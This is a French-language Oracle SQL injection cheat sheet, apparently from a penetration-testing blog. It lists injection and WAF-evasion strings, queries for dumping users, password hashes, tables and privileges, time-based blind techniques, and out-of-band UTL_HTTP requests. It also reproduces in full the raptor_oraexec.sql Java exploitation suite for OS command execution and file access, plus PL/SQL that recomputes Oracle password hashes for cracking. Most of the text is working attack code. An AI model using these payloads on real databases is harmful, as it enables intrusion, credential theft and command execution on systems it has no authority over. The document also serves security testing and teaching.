Introduction
Ce document recense de manière synthétique et la plus complète possible, l’ensemble des vecteurs d’attaque pour des injections SQL (SQLi & BSQLi) ciblant les bases de données Oracle.
Toutes les syntaxes, requêtes, codes sources, PoC et exemples ont été testés et validés pour la production de cette synthèse.
Bases de données par défaut
SYSTEM | Disponible dans toutes les versions |
SYSAUX | Disponible dans toutes les versions |
Tester une injection
Injection dans une chaîne de caractères
Pour la requête suivante :
SELECT * FROM dual WHERE DUMMY = '[INJ]';
‘ | Simple quote x1 | False |
‘ ‘ | Simple quote x2 | True |
« | Double quote x1 | False |
« » | Double quote x2 | True |
\ | Backslash x1 | False |
\\ | Backslash x2 | True |
Exemples :
SELECT * FROM dual WHERE DUMMY = 'xxx'''; SELECT * FROM dual WHERE data = '1'''''''''''UNION SELECT 'Y' FROM dual;
Remarques :
- Il est possible d’utiliser autant d’apostrophe (quote) et de guillemet (double-quote) tant qu’ils vont par paire.
- Il est possible de continuer la requête à la suite d’une chaîne de quote.
- Une quote échappe une seconde quote, d’où le chaînage par paire.
- La condition »= » retourne faux.
Injection par valeurs numériques
Pour la requête suivante :
SELECT * FROM Table WHERE data = [INJ];
AND 1=1 | True |
AND 0=1 | False |
1*1337 | Retourne 1337 si vulnérable |
Format numériques valides :
Chacune de ces techniques peut servir d’évasion d’expressions régulières d’IDS/WAF.
digits | 1337 |
digits[.] | 1337. |
digits[.]digits | 13.37 |
digits[eE]digits | 13e37, 13E37 |
digits[eE][+-]digits | 13e-37, 13E+37 |
digits[.][eE]digits | 13.e37 |
digits[.]digits[eE]digits | 13.3E7 |
digits[.]digits[eE][+-]digits | 13.3e-7 |
[.]digits | .1337 |
[.]digits[eE]digits | .13e37 |
[.]digits[eE][+-]digits | .13E-37 |
Constantes numériques sans nombres
Oracle fourni quelques constantes littérales, qui sont interprétées comme des données numériques. De telle constante permettent de bypasser des règles au niveau des WAF/IDS.
- binary_double_infinity : type BINARY_DOUBLE pour l’infini positif
- binary_double_nan : type BINARY_DOUBLE pour « not a number »
- binary_float_infinity : type BINARY_FLOAT pour l’infini positif
- binary_float_nan : type BINARY_FLOAT pour « not a number »
Ces constantes, insensibles à la casse, peuvent être utilisées au travers de comparaisons numériques :
select * from dual where 1 < binary_double_infinity;
Commenter la fin d’une requête
Les syntaxes suivantes peuvent être utilisées pour commenter (désactiver) la fin d’une requête à la suite d’une injection :
— | SQL commentaire |
/* | C-Style commentaire |
Exemples :
SELECT * FROM Table WHERE field1 = '' OR 1=1 --' AND field2 = '';
Test de version Oracle
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; SELECT version FROM v$instance; -- need privileges
Résultats :
BANNER
——————————————————————————–
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 – 64bit ProductionBANNER
——————————————————————————–
TNS for Linux: Version 11.2.0.1.0 – ProductionVERSION
—————–
11.2.0.1.0
Remarques :
- Toutes les requêtes SELECT destinées à une base Oracle doivent indiquer une table.
- La table « dual » est une table de test disponible par défaut.
Crédentiels de la base de données
Utilisateur courant
SELECT user FROM dual
Utilisateurs dans toutes les versions
SELECT username FROM all_users;
Utilisateurs et mots de passe jusqu’à la 10g (avec privilèges)
SELECT name, password from sys.user$;
Résultats :
SYS 2BD0DC4DFC29152C
Utilisateurs et mots de passe jusqu’à la 11g (avec privilèges)
SELECT name, spare4 from sys.user$;
Résultats :
SYS S:5AB924E4B04366655D4CB8447B092628D6E865BE04523AC4485BAAB64D38
Noms des bases de données
Base de données courante
SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT global_name FROM global_name; SELECT SYS.DATABASE_NAME FROM DUAL;
Bases de données de l’utilisateur
SELECT DISTINCT owner FROM all_tables;
Nom d’hôte du serveur
SELECT host_name FROM v$instance; -- (Privileged) SELECT UTL_INADDR.get_host_name FROM dual; SELECT UTL_INADDR.get_host_name('[IP_DU_SERVEUR]') FROM dual; SELECT UTL_INADDR.get_host_address FROM dual;
Tables et colonnes
Récupérer le nom des tables
SELECT table_name FROM all_tables;
Récupérer le nom des colonnes
SELECT column_name FROM all_tab_columns;
Trouver les tables à partir d’un nom de colonne
SELECT column_name FROM all_tab_columns WHERE table_name = 'Users';
Trouver les colonnes à partir d’un nom de table
SELECT table_name FROM all_tab_columns WHERE column_name = 'password';
Récupérer plusieurs noms de tables en une fois
SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all_tables;
Remarques :
- Le tampon de récupération des noms des tables peut s’avérer trop petit et donc causer une erreur. Ne pas hésiter à réduire la quantité d’information retournée en appliquant un « WHERE table_name LIKE ‘A%' » pour n’obtenir que les tables dont le nom commence par « A ».
Éviter l’utilisation des quotes
Encodage en hexadécimal
Oracle DB ne permet pas l’utilisation des chaînes en hexadécimal via le préfixe 0x ou x » ; ni en binaire 0b, b ». Il est possible d’effectuer un select sur une valeur hexadécimale, toutefois celle-ci n’est pas interprétée ; Oracle cherche une colonne du nom hexadécimal sans le convertir.
SELECT 0x44554d4d59 FROM dual; -- work but return nothing
Fonction CHR()
SELECT CHR(88)||CHR(88)||CHR(88) FROM dual;
Concaténation de chaîne de caractères
SELECT 'a'||'d'||'mi'||'n' FROM dual;
Les requêtes conditionnelles
Syntaxe du CASE dans un SELECT
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual
Syntaxe du IF dans un bloc
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
Remarques :
- La requête précédente fait un timeout de 3 secondes dans le cas où la condition est vraie.
- Cette syntaxe n’est pas fonctionnelle au sein d’une requête SELECT.
Gestion du temps
Via un procédure dédiée
dbms_lock.sleep(N)
Remarques :
- La valeur de N est exprimée en secondes
- Cette syntaxe nécessite des droits additionnels (d’éxecution de procédure).
Via un timeout réseau
SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual; SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; SELECT UTL_HTTP.REQUEST('http://site.com') FROM dual;
Via une lourde consommation de ressources par alias
AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));
Privilèges et droits
Privilèges de l’utilisateur courant :
SELECT privilege FROM session_privs;
Privilèges d’un utilisateur particulier (nécessite des droits) :
SELECT * FROM dba_sys_privs WHERE grantee = 'user';
Liste tous les utilisateurs et leurs droits :
SELECT grantee, granted_role FROM dba_role_privs; -- (Privileged)
Lecture, écriture et commande exécution sur le serveur
Les fichiers locaux du système peuvent être lus au travers de l’exécution de commande lorsque Java est installé et présent sur le serveur Oracle DB, tout comme l’écriture de fichiers.
La méthode consiste à générer une procédure qui exploite du code Java pour accéder au système de fichier et directement à un shell.
Cette technique a été diffusée par Raptor sur 0xdeadbeef.info. Testée sur la dernière version en date 11gR2.
-- -- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $ -- -- raptor_oraexec.sql - java exploitation suite for oracle -- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> -- -- This is an exploitation suite for Oracle written in Java. Use it to -- read/write files and execute OS commands with the privileges of the -- RDBMS, if you have the required permissions (DBA role and SYS:java). -- -- "The Oracle RDBMS could almost be considered as a shell like bash or the -- Windows Command Prompt; it's not only capable of storing data but can also -- be used to completely access the file system and run operating system -- commands" -- David Litchfield (http://www.databasesecurity.com/) -- -- Usage example: -- $ sqlplus "/ as sysdba" -- [...] -- SQL> @raptor_oraexec.sql -- [...] -- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa'); -- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb'); -- SQL> exec dbms_java.set_output(2000); -- SQL> set serveroutput on; -- SQL> exec javareadfile('/tmp/mytest'); -- /bin/ls -l > /tmp/aaa -- /bin/ls -l / >/tmp/bbb -- SQL> exec javacmd('/bin/sh /tmp/mytest'); -- SQL> !sh -- $ ls -rtl /tmp/ -- [...] -- -rw-r--r-- 1 oracle system 45 Nov 22 12:20 mytest -- -rw-r--r-- 1 oracle system 1645 Nov 22 12:20 aaa -- -rw-r--r-- 1 oracle system 8267 Nov 22 12:20 bbb -- [...] -- create or replace and resolve java source named "oraexec" as import java.lang.*; import java.io.*; public class oraexec { /* * Command execution module */ public static void execCommand(String command) throws IOException { Runtime.getRuntime().exec(command); } /* * File reading module */ public static void readFile(String filename) throws IOException { FileReader f = new FileReader(filename); BufferedReader fr = new BufferedReader(f); String text = fr.readLine(); while (text != null) { System.out.println(text); text = fr.readLine(); } fr.close(); } /* * File writing module */ public static void writeFile(String filename, String line) throws IOException { FileWriter f = new FileWriter(filename, true); /* append */ BufferedWriter fw = new BufferedWriter(f); fw.write(line); fw.write("\n"); fw.close(); } } / -- usage: exec javacmd('command'); create or replace procedure javacmd(p_command varchar2) as language java name 'oraexec.execCommand(java.lang.String)'; / -- usage: exec dbms_java.set_output(2000); -- set serveroutput on; -- exec javareadfile('/path/to/file'); create or replace procedure javareadfile(p_filename in varchar2) as language java name 'oraexec.readFile(java.lang.String)'; / -- usage: exec javawritefile('/path/to/file', 'line to append'); create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as language java name 'oraexec.writeFile(java.lang.String, java.lang.String)'; /
Raptor fourni également une seconde procédure d’exécution de code, raptor_oraextproc.sql.
Remarques :
- Les chemins d’accès absolus aux fichiers de bases de données Oracle sont disponibles via la requête :
SELECT name FROM V$DATAFILE;
Requêtes distantes
Requêtes DNS externes
SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual; SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;
Mots de passe
Hachage
Oracle DB 7 à 10gR2
Les mots de passe de Oracle DB peuvent aller jusqu’à 30 caractères de long. Ils sont mis en majuscule avant toutes opérations de chiffrement. Les versions chiffrées font 8 octets. Ils se fondent sur l’algorithme DES avec le nom d’utilisateur comme salt (username||password). Les versions supérieures à la 10gR2 implémentent toujours cet algorithme.
Le bloc anonyme suivant utilise les procédures et fonctions natives d’Oracle DB pour régénérer ce mot de passe chiffré :
DECLARE username varchar2(30) := 'myLogin'; pass varchar2(30) := 'myPassword'; userpwd raw(128); enc_raw raw(2048); raw_key2 raw(128); pwd_hash raw(2048); hexstr varchar2(2048); len number; password_hash varchar2(16); raw_key raw(128):= hextoraw('0123456789ABCDEF'); procedure unicode_str(userpwd in varchar2, unistr out raw) is enc_str varchar2(124):=''; tot_len number; curr_char char(1); padd_len number; ch char(1); mod_len number; begin tot_len:=length(userpwd); for i in 1..tot_len loop curr_char:=substr(userpwd,i,1); enc_str:=enc_str||chr(0)||curr_char; end loop; -- padd to 8 byte boundaries mod_len:= mod((tot_len*2),8); if (mod_len = 0) then padd_len:= 0; else padd_len:=8 - mod_len; end if; for i in 1..padd_len loop enc_str:=enc_str||chr(0); end loop; unistr:=utl_raw.cast_to_raw(enc_str); end; BEGIN unicode_str(UPPER(username||pass), userpwd); dbms_obfuscation_toolkit.DESEncrypt(input => userpwd, key => raw_key, encrypted_data => enc_raw ); hexstr:=rawtohex(enc_raw); len:=length(hexstr); raw_key2:=hextoraw(substr(hexstr,(len-16+1),16)); dbms_obfuscation_toolkit.DESEncrypt(input => userpwd, key => raw_key2, encrypted_data => pwd_hash ); hexstr:=hextoraw(pwd_hash); len:=length(hexstr); password_hash:=substr(hexstr,(len-16+1),16); dbms_output.put_line('Login : '||username); dbms_output.put_line('Password : '||pass); dbms_output.put_line('Oracle < 11g password generated : '||password_hash); END;
Résultats :
Login : myLogin
Password : myPassword
Oracle < 11g password generated : 40CDF99E125555A7
Analyse de l’algorithme :
- Le login est concaténé au mot de passe en clair puis l’ensemble est mis en majuscule.
- Une clé DES-CBC fixe (0123456789ABCDEF) est utilisée pour chiffrer une première fois l’ensemble.
- Suite à ce premier chiffrement, une seconde application du DES est réalisée avec comme clé les 8 derniers octets du premier chiffrement.
- La version chiffrée résultante est celle exploitée par Oracle DB.
Oracle DB 11g et supérieures
A partir de la version 11g, les mots de passes peuvent être supérieurs à 30 caractères, avec une casse quelconque. Le mot de passe est toujours chiffré avec du DES (colonne « password ») mais aussi haché avec SHA1 (colonne « spare4 »). Le SHA1 est appliqué sur la concaténation du password et d’un salt.
Les versions 11g et supérieures conservent une rétro-compatibilités quant au stockage du mot de passe. Ainsi, la colonne « password » correspond au mot de passe chiffré avec l’ancien algorithme, moins sécurisé que la colonne « spare4 ». Cet ancien algorithme s’applique sur une version majuscule du mot de passe, réduisant considérablement la sécurité. La version « spare4 » quant à elle, conserve la casse du mot de passe, mais peut être aisément déjouée avec la colonne « password ».
Analyse de l’algorithme de mot de passe 11g et supérieures
Pour un utilisateur donné avec le mot de passe « password », un hash « spare4 » est stocké dans la base, du type :
S:F7810C319CF8BD2EF575E0C3B05F6C3110FABF9774D69BAFF4AF846FC6C4
Les hashs spare4 de Oracle 11g et supérieures sont tous préfixés de « S: ». L’algorithme de hachage est le SHA1 avec un salt aléatoire de 10 octets concaténé à la fin du hash. Ainsi on a :
- Hash complet : « S:F7810C319CF8BD2EF575E0C3B05F6C3110FABF9774D69BAFF4AF846FC6C4 »
- Préfixe : « S: »
- Salt de 10 octets : « 74D69BAFF4AF846FC6C4 »
- Hash SHA1 du mot de passe + salt : « F7810C319CF8BD2EF575E0C3B05F6C3110FABF97 »
En reproduisant les traitements de l’algorithme, pour le mot de passe « password », on revient bien à notre hash stocké dans la base Oracle :
SELECT CONCAT('S:', UPPER(SHA1(CONCAT('password', UNHEX('74D69BAFF4AF846FC6C4')))), '74D69BAFF4AF846FC6C4'); -- syntaxe MySQL
Bloc anonyme :
-- Oracle 11g anonymous bloc set serveroutput on; declare p_string varchar2(2000) := 'password'; p_salt raw(10) := hextoraw('74D69BAFF4AF846FC6C4'); lv_hash_value_sh1 raw (100); lv_varchar_key_sh1 varchar2 (40); begin lv_hash_value_sh1 := dbms_crypto.hash (src => utl_raw.cast_to_raw (p_string)||p_salt, typ => dbms_crypto.hash_sh1); SELECT lower (to_char (rawtohex (lv_hash_value_sh1))) INTO lv_varchar_key_sh1 FROM dual; dbms_output.put_line('String to encrypt : '||p_string); dbms_output.put_line('Salt used : '||rawtohex(p_salt)); dbms_output.put_line('SHA1 encryption of password||salt : '||lv_varchar_key_sh1); dbms_output.put_line('Oracle format : S:'||upper(lv_varchar_key_sh1)||upper(rawtohex(p_salt))); end;
Résultats :
String to encrypt : password
Salt used : 74D69BAFF4AF846FC6C4
SHA1 encryption of password||salt : f7810c319cf8bd2ef575e0c3b05f6c3110fabf97
Oracle format : S:F7810C319CF8BD2EF575E0C3B05F6C3110FABF9774D69BAFF4AF846FC6C4
Cassage
Différentes solutions permettent de tester la résistance des mots de passe Oracle pour tous types de versions.
- Un module Metasploit pour John The Ripper est également disponible ici.
- Checkpwd 1.23 est une solution gratuite pour tester la résistance des mots de passe.
- Comparatif des différentes solutions de test des mots de passes Oracle, toutes versions.
- Pete Finnigan Oracle all version password tester
Sources & ressources
- New Techniques in SQLi Obfuscation: SQL never before used in SQLi, Nick Galbreath, director of engineering at Etsy – DEFCON20
- The Knowledge database of websec by Roberto Salgado
- Oracle SQL Injection cheat sheet – PentestMonkey
- Oracle 11g password algorithm revealed – SecList
- Pete Finnigan Oracle Security